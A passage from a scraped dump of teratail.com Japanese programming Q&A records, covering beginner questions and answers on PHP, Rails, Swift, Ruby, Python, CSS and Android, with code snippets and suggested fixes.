{\n array[i] = (int)(Math.random() * 101);\n }\n return array;\n }\n\n public static int bubbleSort(int[] array) {\n int lastPos;\n int index;\n int temp;\n int comp = 0;\n\n for (lastPos = array.length - 1; lastPos >= 0; lastPos--) {\n for (index = 0; index <= lastPos - 1; index++) {\n if (array[index] > array[index + 1]) {\n comp++;\n temp = array[index];\n array[index] = array[index + 1];\n array[index + 1] = temp;\n }\n }\n }\n return comp;\n }\n}\n```\n\n \n\n実行例: \n\n[![イメージ説明](https://teratail.storage.googleapis.com/uploads/contributed_images/8274cfd947b75659cca963984b069c3a.png)](https://teratail.storage.googleapis.com/uploads/contributed_images/8274cfd947b75659cca963984b069c3a.png)\n\n", "name": "", "is_accepted": false } ]
f32c5093d0456d21879c0ba126322e86
``` <?php class Question{ private $questionNo; private $sentence; private $answer1; private $answer2; private $answer3; private $answer4; private $answer5; private $correctNo; public function \_\_construct($questionNo,$sentence,$answer1,$answer2,$answer3,$answer4,$answer5,$correctNo){ $this->questionNo = $questionNo; $this->sentence = $sentence; $this->answer1 = $answer1; $this->answer2 = $answer2; $this->answer3 = $answer3; $this->answer4 = $answer4; $this->answer5 = $answer5; $this->correctNo = $correctNo; } public function getQuestionNo(){ return $this->questionNo; } public function getSentence(){ return $this->sentence; } public function getAnswer1(){ return $this->answer1; } public function getAnswer2(){ return $this->answer2; } public function getAnswer3(){ return $this->answer3; } public function getAnswer4(){ return $this->answer4; } public function getAnswer5(){ return $this->answer5; } public function getCorrectNo(){ return $this->correctNo; } } ?> ``` ``` <?php require\_once('question.php'); $question1 = new Question(Q1,'正しいのはどれか',1,2,3,4,5,3); $question2 = new Question(Q2,'誤っているのはどれか',1,2,3,4,5,3); $question3 = new Question(Q3,'正しいものをえらべ',1,2,3,4,5,3); $questions = array($question1,$question2,$question3,); ?> ``` 上記の$questionの配列に変数を追加するのを繰り返し処理で行いたいです。 forをつかってみましたが、文字列として入っているようで変数を呼び出せませんでした。 ``` $questions = array(); for($y = 1; $y <= 10; $y++){ $questions[] = '$question'.$y; } ```
phpの配列をforなどの繰り返しをつかって追加したいです =============================
teratail.com
2020.16
[ { "text": "\n> \n> 文字列として入っているようで変数を呼び出せませんでした。 \n> \n> \n> \n\n\nいちおう、「可変変数」といって、`${ 'question' . $y }`のような書き方をすれば変数名で参照はできます。 \n\n\nもっとも、最初から配列を作って、`$question1`などを使わないようにしたほうがいいかとは思います。\n\n", "name": "", "is_accepted": true } ]
62933dcf0f1061bdb67a62797c47f9c1
WordPressで個人ブログを始めたphp初心者です。 先日ブログを調整するため、色々とプログラムをいじっていたら Fatal error: Cannot redeclare \_() というエラーが出ました。管理者権限のページと公開ページ、どちらも表示されません。 始めて見たエラーのため、どうしたらいいのかわからず、DBエラーのチェックや、最適化を試してみましたがエラーから回復しませんでした。 そのため現在はブログサイトを閉鎖している状態です。 phpにそこまで慣れていないので、原因がさっぱり分かりません。 Googleにて検索も試してみましたが、「Fatal error:Cannot redeclare \_()」が一致する情報を見つけることができませんでした。 もし分かる方がおられましたら、解決方法を教えていただけると助かります。
Fatal error: Cannot redeclare \_() ==================================
teratail.com
2020.05
[ { "text": "Fatal error: Cannot redeclare \\_()\n \nエラーコードを検索してみて出ない時は、翻訳してみると原因が分かりやすいです。\n \n今回のエラーコードを翻訳すると「致命的エラー:\\_()を再宣言することができません」と出ます。\n \nFatal error:致命的なエラー\n \nCannot:できない\n \nredeclare:再宣言してください\n \nですね。\n \n\n \nphpのコードは英語テイストなので、ある程度のニュアンスを知ることができます。\n \n今回エラーを出したプログラムコードの記載がありませんので、予想の範囲から出ることは出来ませんがおそらくfunctionで作った関数がかぶっているのではないかと思われます。\n \n例を挙げると、\n \n\n \n\n```\nfunction name(){\n    print ('テスト1');\n}\n \nfunction name(){\n    print ('テスト2');\n}\n```\n\n \nこんな感じです。\n \nこれはname()という箇所がかぶっているためエラーとなっています。\n \n\n \nこれを改善するためにはfunctionで作った関数を別の物にすれば大丈夫です。\n \n\n \n\n```\nfunction name1(){\n    print ('テスト1');\n}\n \nfunction name2(){\n    print ('テスト2');\n}\n```\n\n \n想像ですので、これで改善するかどうかは正直なんとも言えません。\n \nですが、php環境でWebサイトのプログラムを触っている時に良く見た覚えがありますので、おそらくこのせいではないかと。\n \n上記を踏まえて、エラーを出したプログラムをチェックしてみてください。\n \n再びブログ活動できるよう応援しています。 \n", "name": "", "is_accepted": true } ]
82046507feb6cb6aa7da342aa285a040
こんにちは。 今どうしても理屈でなんでだめなのか理解できない問題がありますので、アドバイスをいただけないでしょうか。 やりたいことは、2種類のデータ(Fares,Options)をサーバー上(Parse,com)から非同期で取得し、それぞれを別のテーブルに並べて表示させるということです。(どちらもデータが存在しないケースもあります)。 そして、ScrollViewのcontentSizeもデータ数によって可変にしています。 ※1と※2については、どちらで呼び出すパターンも試しています。 どちらのケースも、Fareの見出しとテーブルは表示されますが、optionについてはどちらも表示されません。 また、Fareとoptionのデータ取得順番を逆にした場合には、optionの身が表示されるので、呼び出す関数は間違っていないと思います。 説明が長くなりましたが、何卒ヒントをお願いいたします。 class DetailInfoViewController: UIViewController, UICollectionViewDelegate,UICollectionViewDataSource,UITableViewDataSource, UITableViewDelegate{               @IBOutlet var scrollView: UIScrollView!          var fareTableView:UITableView?     var fares:[[String]] = []{                  didSet{                          self.displayFareDatas()       //データがあればテーブルの見出しを設定               self.settingFareTableView()     //データがあればテーブルを表示             self.viewDidLayoutSubviews()             fareTableView?.reloadData()                      }     }          var optionTableView:UITableView?     var optionHight:CGFloat = 468        //オプションタイトルを設定する高さ     var options:[[String]] = []{                  didSet {             self.displayOptionDatas()             self.settingOptionTableView()             self.viewDidLayoutSubviews()             optionTableView?.reloadData()         }              }          override func viewDidLoad() {         super.viewDidLoad()         //データを取得する         self.getFareDatas(driverAndCar.company)         self.getOptionDatas(driverAndCar.company) ・・・ ※1              }          //レイアウトの決定(scrollviewの設定)     override func viewDidLayoutSubviews() {         var height = 468        //料金もオプションもない時の数値                  //faresのデータ数に応じて、scrollviewの高さを変える         if fares.count != 0 {             height = height + 60 * fares.count         }          //optionのデータ数に応じて、ScrollViewの高さを変える         if options.count != 0 {             height = height + 44 + 60 * options.count                      }         scrollView.contentSize = CGSizeMake(320, CGFloat(height))     }          //運賃タイトル設定     func displayFareDatas(){                  //「運賃」タイトル         let fareTitleLabel = UILabel(frame: CGRectMake(0, 468, 320, 44))         fareTitleLabel.font = UIFont.systemFontOfSize(15)         fareTitleLabel.text = "運賃(詳細はお電話でご確認ください。)"         fareTitleLabel.textAlignment = NSTextAlignment.Center         fareTitleLabel.backgroundColor = UIColor.yellowColor()                  scrollView.addSubview(fareTitleLabel)              }               //オプションタイトル設定     func displayOptionDatas(){         //「オプション」タイトル         let optionTitleLabel = UILabel(frame: CGRectMake(0, optionHight, 320, 44))         optionTitleLabel.font = UIFont.systemFontOfSize(15)         optionTitleLabel.text = "その他のオプション"         optionTitleLabel.textAlignment = NSTextAlignment.Center         optionTitleLabel.backgroundColor = UIColor.yellowColor()                  self.scrollView.addSubview(optionTitleLabel)              }           // MARK: - TableView     func settingFareTableView(){         fareTableView = UITableView(frame: CGRectMake(0, 512, 320, CGFloat(60 * fares.count)))          // Cell名の登録をおこなう.         fareTableView!.registerClass(UITableViewCell.self, forCellReuseIdentifier: "FareCell")                 // DataSourceの設定をする.         fareTableView!.dataSource = self         // Delegateを設定する.         fareTableView!.delegate = self         // Viewに追加する.         scrollView.addSubview(fareTableView!)                  fareTableView?.tag = 1     }          func settingOptionTableView(){                  optionTableView = UITableView(frame: CGRectMake(0, optionHight + 44, 320, CGFloat(60 * options.count)))         // Cell名の登録をおこなう.         optionTableView!.registerClass(UITableViewCell.self, forCellReuseIdentifier: "OptionCell")         // DataSourceの設定をする.         optionTableView!.dataSource = self         // Delegateを設定する.         optionTableView!.delegate = self         // Viewに追加する.         scrollView.addSubview(optionTableView!)                  optionTableView?.tag = 2     }          /*     Cellの数を返すデータソースメソッド.     */     func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {         var cellCount = 0            if tableView.tag == 1{             cellCount = fares.count         }else if tableView.tag == 2{             cellCount = options.count         }                  return cellCount          //        return driverAndCar.options.count     }          /*     Cellに値を設定するデータソースメソッド.     (実装必須)     */     func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {                  // 再利用するCellを取得する. //        let cell = tableView.dequeueReusableCellWithIdentifier("Cell",forIndexPath:indexPath)         var cell:UITableViewCell = UITableViewCell()                  if tableView.tag == 1{                          cell = UITableViewCell(style: UITableViewCellStyle.Subtitle, reuseIdentifier: "FareCell")             let fare:[String] = fares[indexPath.row]             cell.textLabel?.text = fare[0]             cell.detailTextLabel?.text = fare[1]                      } else if tableView.tag == 2{                          cell = UITableViewCell(style: UITableViewCellStyle.Value2, reuseIdentifier: "OptionCell")             let option:[String] = options[indexPath.row]                          //Cellに値を設定             cell.textLabel?.text = option[0]             cell.textLabel?.font = UIFont.systemFontOfSize(15)             cell.detailTextLabel?.text = option[1]             cell.detailTextLabel?.font = UIFont.systemFontOfSize(15)                      }                  return cell     }          //cellsの高さを設定     func tableView(tableView: UITableView, heightForRowAtIndexPath indexPath: NSIndexPath) -> CGFloat {                  return CGFloat(60)              }                    // MARK: - Parse(optionのデータを取得する)     func getFareDatas(companyObject:PFObject!){         let query = PFQuery(className: "Fare")         query.whereKey("company", equalTo: companyObject)         query.orderByAscending("order")                  query.findObjectsInBackgroundWithBlock { (objects:[PFObject]?, error:NSError?) -> Void in                          if error == nil {                                  self.optionHight = self.optionHight + self.optionHight + CGFloat(60 * (objects?.count)!)                 for object in objects! {                                          let title = object["title"] as! String                     var fareDetail:String!                     if object["fareDetail"] == nil {                                                  fareDetail = ""                                              }else{                                                  fareDetail = object["fareDetail"] as! String                     }                     let fare:[String] = [title,fareDetail]                     self.fares.append(fare)                    }                }     self.getOptionDatas(companyObject)  ・・・ ※2         }        }          func getOptionDatas(companyObject:PFObject!){         let query = PFQuery(className: "Option")         query.whereKey("company", equalTo: companyObject)         query.orderByAscending("order")                  query.findObjectsInBackgroundWithBlock { (objects:[PFObject]?, error:NSError?) -> Void in                          if error == nil {                                  for object in objects! {                                          let item = object["item"] as! String                     let fare = String(object["fare"] as! Int) + "円"                                          let option:[String] = [item,fare]                                          self.options.append(option)                     }                     }         }             } }
ScrollView上に可変のUITableを2つ設置するとき ===============================
teratail.com
2020.34
[ { "text": "ざっとしか見ていませんが、気になるのは\n \n`self.optionHight = self.optionHight + self.optionHight + CGFloat(60 * (objects?.count)!)`\n \n\n \nこれは\n \n`self.optionHight = self.optionHight + CGFloat(60 * (objects?.count)!)`\n \nとしたかったんじゃないんでしょうか?\n \n\n \nこれが原因で、ScrollViewのcontentSize範囲よりずっと下のところに\n \noptionTableViewを表示しているという可能性はないですか?\n \n\n \n\n \nあと、質問で聞かれていることとは別の話ですが、fareTableView,optionTableViewともに\n \nデータを読み込むたびに作り直している雰囲気がありますが、\n \n作り直すなら、既にaddSubviewしているテーブルをどこかで\n \nremoveFromSubviewする必要ないですか?\n \n今の状態は、データを読み込みながら新しいテーブルをどんどん\n \n上乗せしていませんか? \n", "name": "", "is_accepted": true } ]
21053f7ec8eed24aab7606216bbc6906
cakephpでbakeやscaffoldって使ってますか? cakephpを覚えたてのときに学習したっきりで、実務では使ったことないのですが、symfonyやruby on railsではコンソールからControllerやviewを自動生成してましたが、cakeの場合は似たような機能のControllerやViewをファイルコピーして使ってます。
cakephpでbakeやscaffoldって使ってますか? ==============================
teratail.com
2021.39
[ { "text": "新規でサクっと簡易ツールを作る場合はcakephpのbakeを結構使います。\n \nDBの構造にあわせて、selectboxや、checkboxなどを合わせてくれるので便利です!\n \nただ使うのは最初だけなので、DBの構造変更やレイアウトを変更しすぎると、\n \nbakeで生成する際に予期せぬところに影響でたりしちゃうので、慣れが必要かと思います。\n \n\n \n僕はER図つくって、bakeで骨組みの管理画面作ってちょっとレイアウトさわって、\n \n依頼者に使ってもらうというスタンスです。\n \n簡単(とても)なツールであればcakephpをつかえば即日で用意できるほど、便利です。\n \n \n", "name": "", "is_accepted": false }, { "text": "実際に業務アプリを実装しようとすると、中の処理をガリガリ書かざるを得ないことが多いので、bakeは最初のテンプレート作成程度で、開発が始まると使うことはなかったです\n \n\n \nchibikurosanさんも書いていますが、お客さま向けの簡単なDB管理画面を提供するときは、時間も手間もほとんどかけずに目的のものが作れたので、便利でした \n", "name": "", "is_accepted": false } ]
fb49df9b88924a7e606b1ade210fc36e
ボールがうまく跳ね返りません。どこが間違えていますか? ``` import sys import pygame from pygame.locals import QUIT from pygame.locals import Rect import math pygame.init() SURFACE = pygame.display.set_mode((400,300)) pygame.display.set_caption("Game Window") FPSCLOCK = pygame.time.Clock() class Ball: def __init__(self, color, rect): self.color = color self.rect = rect self.dir = 320 def draw(self): pygame.draw.ellipse(SURFACE, self.color, self.rect) def move(self): speed = 10 if rect.centerx < 0 or rect.centerx > 400: dir = 180-dir if rect.centery < 0 or rect.centery > 300: dir = -dir self.rect.centerx += math.cos(math.radians(dir))*speed self.rect.centery -= math.sin(math.radians(dir))*speed rect = Rect(150,100,10,10) color = (255,255,0) ball = Ball(color, rect) while True: for event in pygame.event.get(): if event.type == QUIT: pygame.quit() sys.exit() SURFACE.fill((0,0,0)) ball.draw() ball.move() pygame.display.update() FPSCLOCK.tick(30) コード ``` line 45, in <module> ball.move() line 32, in move self.rect.centerx += math.cos(math.radians(dir))*speed UnboundLocalError: local variable 'dir' referenced before assignment 直しました。がエラーメッセージです
ボールの跳ね返りメソッド? =============
teratail.com
2021.31
[ { "text": "角度dirがmove毎に同じ値に初期化されているのがまずいです。以下のようにメンバ変数にするとよいです。 \n\n\n\n```\n def \\_\\_init\\_\\_(self, color, rect):\n self.color = color\n self.rect = rect\n self.dir = 320 # メンバ変数にする\n def move(self):\n # dir -> self.dirに変更\n```\n", "name": "", "is_accepted": true } ]
fb869bd71226645f6760dbcaa69c2df9
[Flat-ui](http://designmodo.github.io/Flat-UI/)の適応方法を教えてください 自分で調べて色々試しましたが、フォントの適応とアイコンの適応がうまくいきません 現状はFlat-uiの各ファイルをそれぞれ下記フォルダに格納しています。 app/assets/javascripts app/assets/stylesheets app/assets/fonts
Rails4 Flat-uiの適応 =================
teratail.com
2021.10
[ { "text": "こんにちは。\n \n\n \ngemを使用しないという方法をご希望のようですが、gemをインストールさせるだけでは表示できません。\n \n以下の手順が必要になります。\n \n\n \n\n \nまず下記のサイトの通りの手順でサンプルを作成していきます。\n \nhttp://www.absolute-keitarou.net/blog/?p=141\n \n\n \n① Gemfileに以下を加えて\n \ngem 'flatui-rails'\n \n\n \n② バンドラをはしらせます\n \nbundle install\n \n\n \n③ app/assets/stylesheets/application.cssに以下を追加\n \n*= require flat-ui\n \n\n \n④ app/assets/javascripts/application.jsに以下を追加\n \n//= require flat-ui\n \n\n \n\n \n⑤公式ページ(http://designmodo.github.io/Flat-UI/)よりダウンロードし解凍したフォルダ内Flat-UI-master/distの下のファイルをvendor/assetsの下に配置していきます。\n \n\n \n 1. Flat-UI-master/dist/cssの中身(vendorフォルダ、flat-ui.css, flat-ui.css.map, flat-ui.min.css)をflatui-rail/vendor/assets/stylesheetsの下に配置。\n \n\n \n 2. Flat-UI-master/dist/jsの中身(vendorフォルダ、flat-ui.js, flat-ui.min.js)をvendor/assets/javascriptsの下に配置。\n \n\n \n 3. Flat-UI-master/distの下のfontsフォルダとimgフォルダをvendor/assetsの下に配置。\n \n\n \n\n \n⑥次にapp/config/application.rbの class Application < Rails::Application~endの間に以下を追加\n \nconfig.assets.paths << \"#{Rails}/vendor/assets/fonts\"\n \n\n \n\n \n\n \n⑦ここで適当にscaffoldを作成します。\n \nrails g scaffold User name:string\n \nrake db:migrate\n \n\n \n⑧一度動作確認\n \nhttp://localhost:3000/users/\n \nこの時点でflat-uiスタイルが適応されていると思います。\n \n\n \n⑨ではいよいよアイコンを表示させる手順です。\n \nvendor/assets/stylesheets/flat-ui.cssの「@font-face」と書いてある箇所のurlを修正。\n \n\n \n 1.フォント\n \nurl('../fonts/lato/....')\n \nと書いている部分の「../fonts/lato/」を「../assets/lato/」にすべて修正。\n \n\n \n 2.アイコン\n \nurl('../fonts/glyphicons/....')\n \nと書いている部分の「../fonts/glyphicons/」を「../assets/glyphicons/」にすべて修正。\n \n\n \n*修正箇所が多数あって面倒ですが、頑張ってください。\n \n\n \n⑩コンソールより「rake assets:precompile RAILS\\_ENV=development」を実行\n \n\n \n\n \n⑪ためしにアイコン表示\n \napp/views/blogs/index.html.erbに以下を追加\n \n <span class=\"fui-info-circle\"></span>\n \n\n \n⑫rails sで確認\n \n\n \nどうでしょうか??\n \n\n \n \n", "name": "", "is_accepted": true }, { "text": "flat-ui-rails というgem があるようですね。試してみてはいかがでしょうか\n \n\n \n## Link\n \n* [darthdeus/flat-ui-rails - GitHub](https://github.com/darthdeus/flat-ui-rails) \n", "name": "", "is_accepted": false } ]
8d275cac297cbfbc576c5f809c4bd542
while文の中でsetTextメソッドを使うとうまくいきません なぜでしょうか ``` //TryCount = 0,TIME = 500,SetObject()内は多少負荷がかかる内容になってます while (TryCount < TIME + 1) { Set_Object();//頂点を作成。 Net.setText(TryCount); TryCount++; } ```
While内でのTextViewの編集 ===================
teratail.com
2021.17
[ { "text": "UIの変更はメソッドを抜けるまで行われません。while文等で繰り返し行なってもUIに反映されるのは最後の変更だけです。\n\n", "name": "", "is_accepted": true }, { "text": "setTextにint型を渡すと、リソースidと解釈されます。数字を表示させたいなら、文字列連結なりString.valueOfやInteger.toStringなりで文字列に変換する必要があります。\n\n", "name": "", "is_accepted": false } ]
597cc6129d772699f059052dadce7376
### 前提・実現したいこと module Kazをmodule Test2にincludeして 名前を小文字で出力したい。 ### 発生している問題・エラーメッセージ 現状では、Classにincludeすれば予想通りに小文字(”car”)が出力されるが、 moduleにincludeすると大文字(”Car”)で標示される。 ### 該当のソースコード ``` module Kaz listA = ["Car", "Train"] # method generate listA.each do |c| define\_method "#{c}" do eval "#{c}.new" end end # class generate listA.each do |vahi| Object.const\_set vahi, Class.new(){ attr\_accessor :name def initialize @name = self.class.name.downcase end } end end class Test include Kaz end a = Test.new p a.Car.name => "car" module Test2 include Kaz p Car.name=> "Car" end ``` ### 補足情報(言語/FW/ツール等のバージョンなど) ruby 2.4.0p0 (2016-12-24 revision 57164) [x86\_64-darwin16]
Moduleにincludeする場合とClassにincludeする場合で、結果が違うのだが、どうしてかな? ======================================================
teratail.com
2021.17
[ { "text": "`a.Car.name`では、`a.Car`という**メソッド呼び出し**であり、Test2モジュールの中の`Car.name`は`Car`という**定数呼び出し**です。KazモジュールにはCarという定数※とCarというインスタンスメソッドの**同じ名前で違うもの**が同時に存在し、定数のCarはCarという**クラス**で、メソッド呼び出しはCarをnewした**インスタンス**です。クラスにはデフォルトで`name`メソッドがあり、自分の名前(クラス名)を返すので、どちらもエラーになりません。`name`の代わりに`class`とすると何のクラスのオブジェクトなのかがよくわかると思います。 \n\n\n※ Car定数が定義されているのはObjectですが、定数参照により辿り着くことができるため、全ての場所にCar定数が存在することになります。 \n\n\nより単純化した、下記のコードで説明します。 \n\n\n\n```\nmodule M\n def X\n 1\n end\n X = 0\nend\n\nclass A\n include M\nend\na = A.new\np a.X\n\nmodule B\n include M\n p X\nend\n```\n\nMモジュールには二つの`X`が存在します。 \n\n\n* Xメソッド … 1を返す\n* X定数 ... 0\n\n\nAクラスもBモジュールもMモジュールをincludeしていますので、上と同じようにXメソッドとX定数が定義されます。(Xメソッドはインスタンスメソッドであることに注意してください) \n\n\n`a.X`としたとき、`.`があるため、Xはaのメソッド呼び出しとして解釈されます。`a`はAクラスのインスタンスなので、Aクラスのメソッドを探します。ちょうどincludeしたMモジュールにXメソッドありましたので、それを使って`1`を返します。 \n\n\n`X`としたとき、`.`とかがなく大文字から始まるため、Xは定数呼び出しとして解釈されます。[定数参照の優先順位](https://docs.ruby-lang.org/ja/latest/doc/spec=2fvariables.html#prio)に従って探し、includeしたMモジュールにX定数がありましたので、それを使って`0`を返します。 \n\n\n通常※、メソッド名を大文字から始めることは推奨されていませんので、このような混乱を起こすことはほとんどありません。 \n\n\n※ `String(1)`のようなクラス名関数という考え方があるため、大文字から始まるメソッド名が絶対に悪いわけではありません。\n\n", "name": "", "is_accepted": true }, { "text": "1つ目の方では、クラスTestのインスタンスメソッドCarとTrain、およびクラスTest::Carが定義されます。 \n\naは、クラスTestのインスタンスで、メソッドCarが呼び出されます。その戻り値は、Test::Car.new つまりクラスTest::Carのインスタンスが生成されてそれが戻ります。このとき@nameは\"car\"がセットされています。そのクラスTest::Carの新規インスタンスに対して、クラスTest::Carのインスタンスメソッドnameが呼び出されるので、\"car\"が返ります。 \n\n\n2つ目の方では、モジュールのメソッドTest2::CarとTest2::Trainは定義されず(※)、クラスTest2::Carが定義されます。ここで、Carと出てくるとクラスTest2::Carを表します。Car.name で、クラス名が返ります。ここのnameはModuleクラスのインスタンスメソッドです。 \n\n\n※定義されない理由はうまく説明できません。Module#inlcudeは、C言語の#includeとは違って、ソースを埋め込むわけでは無い。仮に定義されていても同名の場合、メソッド名よりクラス名が優先されるようです。 \n\n", "name": "", "is_accepted": false } ]
2506d2f2e9223c5a88601d40d5f2d71f
### 前提・実現したいこと スマホで見たときに、表示された画像に数秒後自動で画像と同じ大きさのキャプション(テキスト入り)を被せたいです。マウスオーバーで表示させることには成功しましたが、自動で表示させるようにしたいです。 ここに質問の内容を詳しく書いてください。 どのようなhtml,cssを使用すれば良いでしょうか? ### 該当のソースコード ``` <figure> <img src="画像URL" /> <figcaption> <p class="fontL">テキスト</p> <p class="fontM">テキスト</p> </figcaption> </figure> ``` ### 該当のソースコード ``` figure { position: relative; overflow: hidden; width: 50%; } figcaption { position: absolute; top: 0; left: 0; z-index: 2; width: 100%; height: 100%; background: rgba(0,0,0,.5); -webkit-transition: .3s; -moz-transition: .3s; -ms-transition: .3s; -o-transition: .3s; transition: .3s; opacity: 0; } figure:hover figcaption { opacity: 1; } p.fontL { padding: 25% 0 0 0; color: #fff; text-align: center; font-weight: bold; font-size: 30px; } p.fontM { color: #fff; text-align: center; } @media screen and (max-width: 599px){ figure { width: 80%; } } ``` ### 補足情報(FW/ツールのバージョンなど) 下記URLサイトのように数秒後自動で表示されるようにしたいです・・・ https://www.rakuten.ne.jp/gold/liugoo/hon\_mente/hon\_mente.html
スマホで見たときに、表示された画像に数秒後自動で画像と同じ大きさのキャプション(テキスト入り)を被せたいです。 =======================================================
teratail.com
2021.31
[ { "text": "[サンプル](https://jsfiddle.net/Lhankor_Mhy/rb7jk4zt/) \n\n\n\n```\nfigcaption {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 2;\n width: 100%;\n height: 100%;\n background: rgba(0,0,0,.5);\n/* ここから削除\n -webkit-transition: .3s;\n -moz-transition: .3s;\n -ms-transition: .3s;\n -o-transition: .3s;\n transition: .3s;\n opacity: 0;\n ここまで削除 */\n\n animation: fadein 1s 2s both; /* 追加 */\n}\n\n/* ここから削除\nfigure:hover figcaption {\n opacity: 1;\n}\n ここまで削除 */\n\n/* ここから追加 */\n@keyframes fadein {\n from {\n opacity: 0;\n }\n\n to {\n opacity: 1;\n }\n}\n/* ここまで追加 */\n```\n\n参考:[CSS アニメーションの使用 - CSS: カスケーディングスタイルシート | MDN](https://developer.mozilla.org/ja/docs/Web/CSS/CSS_Animations/Using_CSS_animations)\n\n", "name": "", "is_accepted": true }, { "text": "この条件で実装したいのであれば \n\nJavaScriptが使用できないと実装不可です。 \n\n\n\n> \n> 表示された画像に数秒後自動で画像と同じ大きさのキャプション(テキスト入り)を被せたい\n> \n> \n> \n\n", "name": "", "is_accepted": false } ]
4ea300177077657a75a8802b2fd80b04
PHPで文字列の中にあるstdinのコンテンツ(EOFまで)を読み取る方法を教えてください。 自分で調べてみても分からなかったので、よろしくお願いします。
PHPで文字列の中にあるEOFまでを読み取る方法を教えてください。 =================================
teratail.com
2021.31
[ { "text": "下記のコードを使ってみてください。\n \n\n```\nfile_get_contents(\"http://test.txt\");\n```\n\n \n下記マニュアル。\n \n\n \nhttp://www.php.net//manual/ja/function.file-get-contents.php\n \n\n \n\n \n \n", "name": "", "is_accepted": true } ]
ebcdc1142f37cd1ab2d68deea91f0b2b
### 前提・実現したいこと 初めまして、初心者なのですが、現在登録画面にバリデーションをモデルに付与し 日本語によるエラーを表示させるべく実装しています。 多くのサイトから、userモデルにおける、実装はなんとかうまくいき 続いて、userに関する別の情報を登録するためのstaffmemberというモデルを追加し これについても同様に、エラーの情報を日本語で表示させるためにja.ymlに コードを追記したのですが、反映しない状況です。 インデントについても、注意し記載したのですが、そもそもの構文が 間違っているのかわからず悩んでおります。ご教授お願いいたします。 環境:Ruby on Rails 6.0 ### 発生している問題・エラーメッセージ 下記のソースコードにおいて、user モデルに関してバリデーションエラーは正常に表示してくれますが **staffmemberモデルの code に関するバリデーションチェックはかかっているものの下記の翻訳エラー が発生してしまっております。 ** ``` Code translation missing: ja.activerecord.errors.models.staffmember.attributes.code.blank ``` ### 該当のソースコード ``` ja: activerecord: errors: models: user: attributes: name: blank: :空白になっています。 email: blank: :空白になっています。 invalid: :正しいメールアドレスを登録ください。 password: blank: :空白になっています。 too\_short: :6文字以上で入力してください。 password\_confirmation: confirmation: :パスワードが一致しません。 staffmember: attributes: code: blank: : 空白登録できません。 ``` ### 試したこと locale.rbの記述 Rails.application.config.i18n.default\_locale = :ja ### 補足情報(FW/ツールのバージョンなど) VS-CODEにてローカル環境にて開発中です。 ### 追加情報 モデル ``` class Staffmember < ApplicationRecord before\_save{ self.code = code.downcase} validates :code, presence: true, uniqueness: true validates :jpn_name, presence: true validates :password, presence: true, length: {minimum: 6} validates :kana_name, presence: true validates :birthday, presence: true has_secure_password end ``` コントローラー ``` def index end def new @staff = Staffmember.new end def create @staff = Staffmember.new(staffmember_params) if @staff.save flash[:success] = "登録されました。" redirect_to @staff else render 'new' end end def show @staff = Staffmember.find(params[:id]) end private def staffmember\_params params.require(:staffmember).permit(:code, :password, :password\_confirmation, :jpn\_name, :kana\_name, :eng\_name, :birthday, :sex ) end end ``` ビュー ``` <div class="row"> <%= form\_with(model: @staff, local: true) do |f| %> <%= render "shared/error\_messages", object: f.object %> <section> <h2>基本情報</h2> <div class="form-group col-md-2"> <%= f.label :code, "職員番号" %> <%= f.number\_field :code %> </div> <div class="form-group col-md-2"> <%= f.label :password %> <%= f.password\_field :password %> </div> <div class="form-group col-md-2"> <%= f.label :password\_confirmation, "Password再入力" %> <%= f.password\_field :password\_confirmation %> </div> <div class="form-group col-md-3"> <%= f.label :jpn\_name, "氏  名" %> <%= f.text\_field :jpn\_name %> </div> <div class="form-group col-md-3"> <%= f.label :kana\_name, "カナ氏名" %> <%= f.text\_field :kana\_name %> </div> <div class="form-group col-md-3"> <%= f.label :eng\_name, "英字氏名" %> <%= f.text\_field :eng\_name %> </div> <div class="form-group col-md-2"> <%= f.label :birthday, "生年月日" %> <%= f.date\_field :birthday %> </div> <div class="form-group col-md-2"> <%= f.label :sex, "性別" %> <%= f.select :sex, [['男性', 1], ['女性', 2]],{ selected: 2} %> </div> </section> <section> <h2>部署情報</h2> </section> <%= f.submit "登 録", class: "btn btn-primary" %> <% end %> </div> ``` 改めてインデント揃えました。 ============== ``` activerecord: errors: models: user: attributes: name: blank: :空白になっています。 email: blank: :空白になっています。 invalid: :正しいメールアドレスを登録ください。 password: blank: :空白になっています。 too\_short: :6文字以上で入力してください。 password\_confirmation: confirmation: :パスワードが一致しません。 staffmember: attributes: code: blank: : 空白登録できません。 attributes: user: name: 名前 email: メールアドレス password\_confirmation: Password 再入力 コード ```
2以上のモデルでja.ymlが反映しない。 =====================
teratail.com
2021.25
[ { "text": "翻訳の方に: があるからだと思います。 \n\n:がある場合は\"や'で囲ってあげてください。 \n\n\n\n```\nblank: \": 空白登録できません。\"\n```\n", "name": "", "is_accepted": true }, { "text": "\n```\nja:\n activerecord:\n errors:\n models:\n user:\n attributes:\n name:\n blank: :空白になっています。\n email:\n blank: :空白になっています。\n invalid: :正しいメールアドレスを登録ください。\n password:\n blank: :空白になっています。\n too\\_short: :6文字以上で入力してください。\n password\\_confirmation:\n confirmation: :パスワードが一致しません。\n staffmember:\n attributes:\n code:\n blank: : 空白登録できません。\n```\n\n \n\nインデントを揃えてみてください\n\n", "name": "", "is_accepted": false } ]
49b296b15a93d3196f612382fe307c5b
下のように画像をマスク処理しました ``` import cv2 im=dataset.load_image(1) im_gray = 0.299 * im[:, :, 0] + 0.587 * im[:, :, 1] + 0.114 * im[:, :, 2] print(im.dtype) print(im_gray.dtype) # uint8 # float64 print(im.shape) print(im_gray.shape) # (512, 512, 3) # (512, 512) ``` このマスク処理した画像に整数のラベル番号を加え、3次元にする方法はないでしょうか? **label番号=51** だとすると**shape=(512, 512)**の画像に加えて**shape=(512, 512, 51)**としたいのですが。ご教授お願いします ``` # このようにしたい label=51 print(add_label_img.shape) # (512, 512, 3) ```
pythonでマスク処理した画像を3次元にする方法 =========================
teratail.com
2020.50
